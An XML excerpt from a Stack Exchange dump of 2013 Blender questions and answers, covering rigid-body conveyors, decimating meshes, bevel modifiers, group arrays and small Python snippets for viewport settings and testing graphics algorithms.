  <row Id="2517" PostTypeId="1" CreationDate="2013-08-23T20:11:57.773" Score="11" ViewCount="649" Body="&lt;p&gt;I need to code up a computer graphics algorithm for Surface Registration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Briefly &lt;strong&gt;surface registration&lt;/strong&gt; is the process of finding &quot;optimal&quot; one-one correspondence &#xA;between surfaces, where the meaning of optimal depends on the specific problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have much experience with Computer Graphics software, and so I was looking around&#xA;the web for a good software environment to code my algorithm up in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One promising option I hit upon was &lt;a href=&quot;http://www.blender.org/&quot;&gt;Blender&lt;/a&gt;, which to my delight also has a Python interface to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is &lt;em&gt;Blender + Python&lt;/em&gt; a good software environment for implementing and testing computer graphics algorithms? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, are there better alternatives to it (hopefully using a Pythonic interface)? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any particular points from your experience&#xA;which I should keep in mind while using Blender (or whatever package you recommend) while implementing/testing my algorithm? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2013-08-25T00:52:27.777" Title="Environment for implementing/testing Computer Graphics algorithms" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2518" PostTypeId="1" AcceptedAnswerId="2522" CreationDate="2013-08-23T21:21:37.627" Score="4" ViewCount="710" Body="&lt;p&gt;How would I build a Conveyor like &lt;a href=&quot;http://www.helloluxx.com/tutorials/cinema4d-2/cinema4d-dynamics/building-a-conveyor-with-cinema4d-dynamics/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="599" LastEditDate="2013-08-23T22:16:56.250" LastActivityDate="2013-08-23T22:16:56.250" Title="Building a Conveyor" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2519" PostTypeId="1" AcceptedAnswerId="2523" CreationDate="2013-08-23T21:27:16.583" Score="9" ViewCount="1118" Body="&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=eDNwdcU-x-A#t=117&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8SdPF.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modo has gotten the ability to edit the motion path directly from the viewport. Cinema 4D and &lt;a href=&quot;http://www.youtube.com/watch?v=VEM9GuEMla8&quot; rel=&quot;noreferrer&quot;&gt;Maya&lt;/a&gt; has this as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything like that in Blender? What would it take to build it?&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="290" LastEditDate="2013-08-24T00:14:55.693" LastActivityDate="2016-06-21T15:48:17.577" Title="Viewport Animation Paths" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2520" PostTypeId="1" AcceptedAnswerId="2524" CreationDate="2013-08-23T21:30:44.317" Score="7" ViewCount="1164" Body="&lt;p&gt;I have an issue for the amount of faces I have, I have made a decent looking character with blender (just the head) so far. However, I finally get to the step where I need to add textures and I mark my seams and unwrap, my whole computer freezes and blender crashes. I have ~393, 000 faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to keep my work so far, instead of redoing it for the 4th time, is there any way I could keep my beautiful work of detail and awesomeness but decrease my faces.. but still keep my work, and have it still look good when I render it in Blender Render? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it happened, I have a little issue with hitting the subdivide button alot, not the one in multi-resolution but the other one. And that's because I love detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the issue.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8BGNpm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to add hair without the lag too~ :(&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="12" LastEditDate="2013-08-24T12:12:58.760" LastActivityDate="2013-08-24T12:13:28.450" Title="Is it possible to decrease the face count dramatically so I can continue working without crashing?" Tags="&lt;workflow&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2521" PostTypeId="1" AcceptedAnswerId="2531" CreationDate="2013-08-23T21:35:03.087" Score="4" ViewCount="380" Body="&lt;p&gt;My original intention is to transfer settings with a .blend file, but as far as I know, ordinary blends don't store everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to understand the API documentation for a while now, yet since I'm not a developer, I have a hard time closing the 'assumed knowledge' gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've found &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.use_occlude_geometry&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.types.SpaceView3D.use_occlude_geometry&lt;/code&gt;&lt;/a&gt; but no sample code or link and I just get error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's &lt;em&gt;Info&lt;/em&gt; window output isn't revealing much either when I push the button manually, at least not to the untrained eye.&#xA;&lt;code&gt;bpy.data.screens[&quot;Default&quot;].(null) = False&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here are my needs: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch &lt;kbd&gt;MMB&lt;/kbd&gt; with &lt;kbd&gt;SHIFT&lt;/kbd&gt;-&lt;kbd&gt;MMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Turn on &lt;em&gt;trackball rotation&lt;/em&gt; for viewport rotation&lt;/li&gt;&#xA;&lt;li&gt;Disable &lt;em&gt;Limit selection to visible&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-24T17:30:23.060" LastActivityDate="2013-08-24T17:30:23.060" Title="Change settings like 'limit selection to visible' or 'trackball rotation' with python" Tags="&lt;python&gt;&lt;interface&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2522" PostTypeId="2" ParentId="2518" CreationDate="2013-08-23T21:40:39.787" Score="4" Body="&lt;p&gt;You can use Rigid Body physics with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Rigid_Body_Joint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Constraints&lt;/a&gt; to replicate this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cylinder and make it an active Rigid Body object (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube and make it a passive rigid body object (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;), and move it to the side of the cylinder.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Constrain them together (&lt;em&gt;Tool shelf &amp;gt; Rigid Body Tools &amp;gt; Connect&lt;/em&gt;) with &lt;em&gt;Hinge&lt;/em&gt; constraint and rotate the resulting empty 90 degrees on the Y axis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2KFXi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Constrain again with a &lt;em&gt;Motor&lt;/em&gt; constraint and enable angular motor:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KlZTu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w6tw0.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-23T22:02:21.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2523" PostTypeId="2" ParentId="2519" CreationDate="2013-08-23T21:43:40.583" Score="8" Body="&lt;p&gt;There is an add-on for that called &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/Motion_Trail&quot;&gt;Motion Trail&lt;/a&gt;&lt;/em&gt; that allows you to edit the curves in 3D space. You can enable in the User Preferences under the Add-on tab.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-23T21:43:40.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2524" PostTypeId="2" ParentId="2520" CreationDate="2013-08-23T21:53:16.633" Score="2" Body="&lt;p&gt;Try disabling the subsurf modifier in the viewport by pressing the button that looks like an eye: &lt;img src=&quot;https://i.stack.imgur.com/J5A21.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use a &lt;em&gt;Decimate&lt;/em&gt; modifier only in the viewport. (deselect the button that looks like a camera to disable for rendering)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-23T22:29:31.880" LastActivityDate="2013-08-23T22:29:31.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2525" PostTypeId="1" AcceptedAnswerId="58304" CreationDate="2013-08-23T22:15:19.883" Score="26" ViewCount="27282" Body="&lt;p&gt;Is it possible to array a group of objects? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have three objects in a group, (I want to keep them as separate objects) is it possible to easily duplicate them as if I pressed &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; for every single one?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="290" LastEditDate="2013-08-25T09:01:43.223" LastActivityDate="2019-11-06T16:41:13.843" Title="Array a Group of objects?" Tags="&lt;groups&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2526" PostTypeId="2" ParentId="2525" CreationDate="2013-08-23T22:34:58.360" Score="10" Body="&lt;p&gt;One way to do that is to execute &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; / &lt;strong&gt;Add&lt;/strong&gt; &gt; &lt;strong&gt;Group Instance&lt;/strong&gt; &gt; &lt;em&gt;[group name]&lt;/em&gt; to instance the group as a single object. Though it's basically an Empty, so we can't put an Array modifier on it, we can still &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; on the instance to create linked-duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; For a more automated tool, we do need some basic scripting. I've written &lt;a href=&quot;https://gist.github.com/adhihargo/6325992&quot; rel=&quot;noreferrer&quot;&gt;a short operator&lt;/a&gt; to do just that. Here's the key part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for count in count_product:&#xA;    loc = center + Vector([count[0] * self.offset[0],&#xA;                           count[1] * self.offset[1],&#xA;                           count[2] * self.offset[2]])&#xA;&#xA;    dup_obj = bpy.data.objects.new(group.name + '_array.000', None)&#xA;    dup_obj.location = loc&#xA;    dup_obj.dupli_type = 'GROUP'&#xA;    dup_obj.dupli_group = group&#xA;    context.scene.objects.link(dup_obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just creates an array of group instances along three axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SXR47.jpg&quot; alt=&quot;group_array&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-08-26T10:43:50.597" LastActivityDate="2013-08-26T10:43:50.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2527" PostTypeId="2" ParentId="2520" CreationDate="2013-08-23T22:44:27.090" Score="4" Body="&lt;p&gt;Another option is to set the &quot;Display Type&quot; to &quot;wire&quot; (in the &quot;Object&quot; tab) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might not be exactly what you want, especially if you're texturing, but thought it would be good to mention it here... I've realized, looking back, that my work would have often been WAY easier if I had remembered the &quot;wire&quot; option, or, even better, the &quot;box&quot; option, on some of my projects... just thought I'd mention that. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-08-23T22:44:27.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2528" PostTypeId="2" ParentId="1" CreationDate="2013-08-23T23:54:45.637" Score="5" Body="&lt;p&gt;There's an old and simple trick: put edges inside your balloon. Every additional edge acts like a strut, which helps to stiffen the balloon. Although balloons don't change their shape at all, excluding the knotted end.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2013-08-23T23:54:45.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2530" PostTypeId="2" ParentId="2521" CreationDate="2013-08-24T04:29:16.897" Score="3" Body="&lt;p&gt;Not sure on the first one (you want to swap rotate with pan?) but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on trackball rotation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.inputs.view_rotate_method = 'TRACKBALL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disable &lt;em&gt;Limit selection to visible&lt;/em&gt; in all 3D Views in all screens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for screen in bpy.data.screens:&#xA;    for area in screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            area.spaces[0].use_occlude_geometry = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-08-24T04:29:16.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2531" PostTypeId="2" ParentId="2521" CreationDate="2013-08-24T04:32:23.510" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch &lt;kbd&gt;MMB&lt;/kbd&gt; with &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;MMB&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;view3d_km = bpy.context.window_manager.keyconfigs['Blender'].keymaps['3D View']&#xA;view3d_km.keymap_items['view3d.rotate'].map_type = 'MOUSE'&#xA;view3d_km.keymap_items['view3d.rotate'].type = 'MIDDLEMOUSE'&#xA;view3d_km.keymap_items['view3d.rotate'].shift = True&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on &lt;em&gt;trackball rotation&lt;/em&gt; for &lt;kbd&gt;MMB&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.inputs.view_rotate_method = 'TRACKBALL'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &lt;em&gt;Limit selection to visible&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for scr in bpy.data.screens:&#xA;    for area in scr.areas:&#xA;        for space in area.spaces:&#xA;            if space.type == 'VIEW_3D':&#xA;                space.use_occlude_geometry = True&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="12" LastEditDate="2013-08-24T12:23:02.790" LastActivityDate="2013-08-24T12:23:02.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2532" PostTypeId="2" ParentId="2517" CreationDate="2013-08-24T05:47:57.433" Score="7" Body="&lt;h1&gt;Brief Answer&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Yes &lt;em&gt;(but it depends, read on...)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Not that I know of, you can use PyOpenGL, NumPy etc together though.&lt;/li&gt;&#xA;&lt;li&gt;Yes, automate testing your algorithm. &lt;em&gt;while interactive tools like blender are nice, try to setup your workflow so you can spend most of your time programming (rather then pressing buttons in blender), This is well supported but not necessarily obvious at first.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Longer Answer&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are pros and cons with using Blender for testing cg algorithms,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it depends entirely on what you try to solve however I've found it very useful in some cases, even developing Blender its self I sometimes test algorithms in blender-python first before porting to C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the viewport for navigation and inspecting results.&lt;/li&gt;&#xA;&lt;li&gt;meshes can be created to visualize data without having to write drawing code, they have vertex colors UV's and any number of weight's per vertex, so you can  store useful data here.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/mathutils.html&quot;&gt;mathutils&lt;/a&gt; python module, handy modules for graphics math, written in C...&lt;/li&gt;&#xA;&lt;li&gt;other modules (you're not limited to blender modules), see NumPy.&lt;/li&gt;&#xA;&lt;li&gt;realtime updates, I don't want to over emphasize this since it can encourage not &lt;em&gt;thinking&lt;/em&gt; enough and just guessing, BUT - it can still be valuable.&lt;/li&gt;&#xA;&lt;li&gt;the power of a full 3d application at your disposal, so you can spit out ray-traced images, run operations like convex-hull or booleans on and see the result.&lt;/li&gt;&#xA;&lt;li&gt;format support, this may seem uninteresting but being able to load data from all sorts of sources can save you time writing your own loaders, with support for animation, mesh formats, image formats, even sound.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python is slow, for algorithms that require speed such as image manipulation or very large data-sets, I wouldn't recommend it, though for testing, speed can sometimes be overlooked so its not useless either for this task and if you are clever you could use NumPy to load in larger datasets.&lt;/li&gt;&#xA;&lt;li&gt;Blender has limited data support, so for example, colored-point-clouds and user-defined-voxel structures are not supported, and nurbs only have limited support. If you want to display data that happens not to fit well into a mesh, meta-balls, curve ... etc, then using blender becomes less of an advantage &lt;em&gt;Note that Python can call OpenGL directly, but its not that convenient&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Listed some example usage...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Console for fast feedback&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You have access to the python console which can manipulate data and get fast feedback, for testing small snippets I find it quite handy, There is also the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Math_Viz&quot;&gt;MathVis&lt;/a&gt; addon you can use to show points, lines, matrix types etc in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you come up with something useful you can &lt;code&gt;Copy as Script&lt;/code&gt; from the menu, which strips out the '&gt;&gt;&gt; ' prefix to make the input useful as a script to further develop elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Realtime Updates&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blender can easily be setup to run your code in a loop, and update the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example, After running this script, play the animation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;filepath = &quot;/path/to/my_script.py&quot;&#xA;&#xA;def run_script_on_frame(scene):&#xA;    global_namespace = {&quot;__file__&quot;: filepath, &quot;__name__&quot;: &quot;__main__&quot;}&#xA;    with open(filepath, 'rb') as file:&#xA;        exec(compile(file.read(), filepath, 'exec'), global_namespace)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(run_script_on_frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Ability &quot;Use&quot; Your Algorithm&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Again, this is only useful in some cases but you may want to make some testing code that uses mouse input for example, maybe to change the values the algorithm (to check for jitter) for example and to get a feel for how the algorithm works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in the case you give, you could have 2 meshes and move them, drawing a line between the 2, constantly updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done by writing an &lt;code&gt;Operator&lt;/code&gt;, or a &lt;code&gt;Modal Operator&lt;/code&gt;, see templates from the text editor.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Run outside of Blender&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Having to use Blender can be a hassle and you may want to stay in your python editor, in some cases I've setup Blender to render output, used with an image viewer that auto-refreshes, it can be quite quick to execute the script and see the result without touching blenders UI. See Tip: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/info_tips_and_tricks.html#don-t-use-blender&quot;&gt;Don't Use Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-08-24T08:46:25.597" LastActivityDate="2013-08-24T08:46:25.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2533" PostTypeId="1" AcceptedAnswerId="2557" CreationDate="2013-08-24T06:37:16.093" Score="18" ViewCount="17023" Body="&lt;p&gt;I have a model in Blender with a full rig, including IK bones.&lt;br&gt;&#xA;I also have a sword with two bones, on the top bone of the sword I have a set of constraints that copy the location and rotation of a child bone in the right hand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sword is then attached to the hand as expected. The second bone in the sword rig is the target for the left hand constraints that copy its location and rotation. In blender that works as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I animate the primary rig right hand and the sword and the other hand moves as expected. The problem comes when I import the blender file into unity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity is only seeing the right hand move but not the left. I can parent the sword to the right hand and it moves as expected. But the left hand data is not changing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in blender I thought that if I were to select the left hand insert a keyframe (LocRotScale), when there was a keyframe for the right hand, that blender would then save the global position of the left hand, but when the new keyframe was inserted it had an orange line to the previous keyframe indicating that the position had not changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there away to get blender to save a keyframe for the left hand when the constraint moves it?&lt;/p&gt;&#xA;" OwnerUserId="1164" LastEditorUserId="599" LastEditDate="2013-12-16T06:29:16.000" LastActivityDate="2015-11-20T16:44:51.340" Title="Is there a way to convert a constraint to a keyframe?" Tags="&lt;animation&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2534" PostTypeId="1" AcceptedAnswerId="2535" CreationDate="2013-08-24T07:00:24.410" Score="44" ViewCount="209330" Body="&lt;p&gt;I have looked at other similar questions on this site but couldn't answer my question. I have a model made of cubes the edges look very sharp (I would put a picture here but I don't have the required rep) is there a simple way to make the edges round? &lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="12" LastEditDate="2013-08-24T11:51:24.317" LastActivityDate="2020-12-31T02:07:27.040" Title="How can I round the edges of a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="2535" PostTypeId="2" ParentId="2534" CreationDate="2013-08-24T07:06:18.663" Score="50" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/bevel.html#bevel-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bevel Modifier&lt;/a&gt; from the properties panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkpRW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example with &lt;em&gt;Segments&lt;/em&gt; set to 3 and &lt;em&gt;Width&lt;/em&gt; 0.1 (red cube) &lt;em&gt;Width&lt;/em&gt; 0.3 (blue cube)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MpcKR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-10-21T14:36:45.530" LastActivityDate="2020-10-21T14:36:45.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2536" PostTypeId="1" AcceptedAnswerId="2564" CreationDate="2013-08-24T07:53:41.723" Score="4" ViewCount="1591" Body="&lt;p&gt;I would like to bring a natural look to my dupligroups by giving every instance a different scale and/or rotation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Predictable: All locations, rotations and scales fields in blender can be computed (give 3*2 and it will compute 6). But is it possible to give a rotation like RotX = &quot;a factor&quot; * LocX instead of having a fixed value ? Then moving the object would rotate it and duplicating it with dupligroups would give predictable rotations to the instances.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Random: Is there a special symbol as well for random ? (for example like writing &quot;r&quot; in a field to make it random ?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know a particle system can give such result, however, this method misses some of my goals : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easy real-time preview while editing : Unlike Blender 2.49, newer versions still don't offer any 3D preview in particle painting mode, you have to constantly switch back and forth to/from object mode to see what your changes look like.&lt;/li&gt;&#xA;&lt;li&gt;I didn't find any way to take the area of an Ngon to define the scale of the emitted instance. Dupligroups allow it as allowing to only have 1 instance per Ngon and not per triangle.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I'm just bad and there are options to have this 2 goals reached with a particle system, I'm ok for such a solution.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="2217" LastEditDate="2014-04-26T18:41:43.397" LastActivityDate="2014-04-26T18:41:43.397" Title="How to give a variable rotation, scale or location offset to dupligroups objects?" Tags="&lt;particles&gt;&lt;transforms&gt;&lt;instances&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2537" PostTypeId="2" ParentId="2536" CreationDate="2013-08-24T10:15:37.643" Score="2" Body="&lt;p&gt;Any value that can be keyframed can also use a driver to calculate the value. While there is no random functions built in there is a way to add them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/2460/adjust-random-seed-of-displacement-textures/2474#2474&quot;&gt;this previous answer&lt;/a&gt; for adding random functions that can be used within drivers.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-08-24T10:15:37.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2538" PostTypeId="2" ParentId="2533" CreationDate="2013-08-24T10:16:50.847" Score="7" Body="&lt;p&gt;Sounds like you want to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations#Apply_Options&quot;&gt;apply the &lt;em&gt;Visual Transform&lt;/em&gt;&lt;/a&gt; before keyframing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;b&gt;Apply Visual Transform&lt;/b&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apply (set) the result of a constraint and apply this back to the Object's location, rotation and scale. See the following post for more detailed discussion: &lt;a href=&quot;http://projects.blender.org/tracker/index.php?func=detail&amp;amp;group_id=9&amp;amp;atid=498&amp;amp;aid=24616&quot;&gt;Apply visual transform&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-24T10:16:50.847" CommentCount="2" ContentLicense="CC 